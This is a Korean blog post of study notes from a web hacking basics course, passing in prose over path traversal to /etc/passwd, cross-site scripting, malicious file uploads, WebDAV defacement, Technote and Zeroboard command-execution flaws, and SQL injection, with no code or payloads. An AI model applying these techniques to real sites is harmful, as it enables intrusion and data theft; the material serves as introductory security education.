게시판 등에 저장된 자료에 대해 ‘다운로드 스크립트’를 이용하여 다운로드 기능을 제공하면서, 대상 자료파일의 위치 지정에 제한조건을 부여하지 않았을 경우에 URL칸의 다운로드 스크립트의 인수 값에 ‘../’문자열 등을 입력하여 시스템 디렉토리 등에 있는 /etc/passwd와 같은 비공개 자료들이 유출될 수 있다.


3. 크로스사이트 스크립트 취약점 
게시판에 새 게시물을 작성하여 등록할 때와 같이 사용자의 입력을 받아 처리하는 웹 응용프로그램에서 입력 내용에 대해 실행코드인 스크립트의 태그를 적절히 필터링하지 않을 경우에 악의적인 스크립트가 포함된 게시물을 등록할 수 있어 해당 게시물을 열람하는 일반 사용자의 pc로 부터 개인정보인 쿠키를 유출할 수 있는 등의 피해를 초래할 수 있다.


4. 파일 업로드 취약점 
첨부파일 업로드를 허용하는 홈페이지 게시판에서 .php, .jsp등의 확장자 이름의 스크립트 파일의 업로드를 허용할 경우에 해커가 악성 실행 프로그램을 업로드한 후에 홈페이지 접속방식으로 원격에서 서버컴퓨터의 시스템 운영 명령어를 실행 시킬 수 있다.  

 

5. WebDAV 취약점- 원격 실행
 윈도우 서버 컴퓨터에서 기본으로 설치되는 원격관리기능인 WebDAV가 계속 사용 가능하도록 설정되어 있고, WebDAV 라이브러리 파일의 속성 및 홈페이지 디렉토리에 쓰기 권한이 모두 허용되어 있는 경우에 해커가 WevDAV도구를 사용, 원격에서 홈페이지 디렉토리에 임으로 파일을 삽입하여 화면을 변조할 수 있다.


6. 테크노트(Technote) 취약점
‘테크노트’의 일부 CGI프로그램들에서 인수 값 처리시에 ‘ㅣ’문자 이후에 나오는 컴퓨터 운영 명령어가 실행될 수 있는 결함이 있어 해커는 홈페이지접속 방식으로 컴퓨터 명령어를 실행하여 화면을 변조하거나 컴퓨터를 조작할 수 있다.
- Linux 및 Unix계열의 컴퓨터에 주로 사용
- Windows 계열에서 ‘Perl’이 지원될 경우 사용


7. 제로보드(Zeroboard) 취약점
- ‘제로보드’의 일부 php프로그램이 원격에 있는 php파일을 실행할 수 있는 결함이 있어 해커는 홈페이지 접속 방식으로 컴퓨터 명령어를 실행하여 화면을 변조하거나 컴퓨터를 조작할 수 있다.
- Linux 및 Unix 계열의 컴퓨터에 주로 사용
- Windows 계열에서 ‘php’가 지원될 경우 사용


8. SQL Injection 취약점 
웹 브라우저 주소 창 또는 사용자 ID 및 패스워드 입력화면에서 데이터베이스 SQL문에 사용되는 문자기호(‘ 및”)의 입력을 적절히 필터링 하지 않은 경우에 해커가 SQL 문으로 해석될 수 있도록 조작한 입력으로 데이터베이스를 인증 절차 없이 접근, 자료를 무단 유출하거나 변조할 수 있다. 



출처: http://realforce111.tistory.com/54 [realforce111님의 블로그]




반응형

'부산정보산업진흥원 > 웹 해킹 기초' 카테고리의 다른 글

SQL Injection  (0) 2017.06.07
구글 해킹(Google Hacking)  (0) 2017.06.07
Posted by newind2000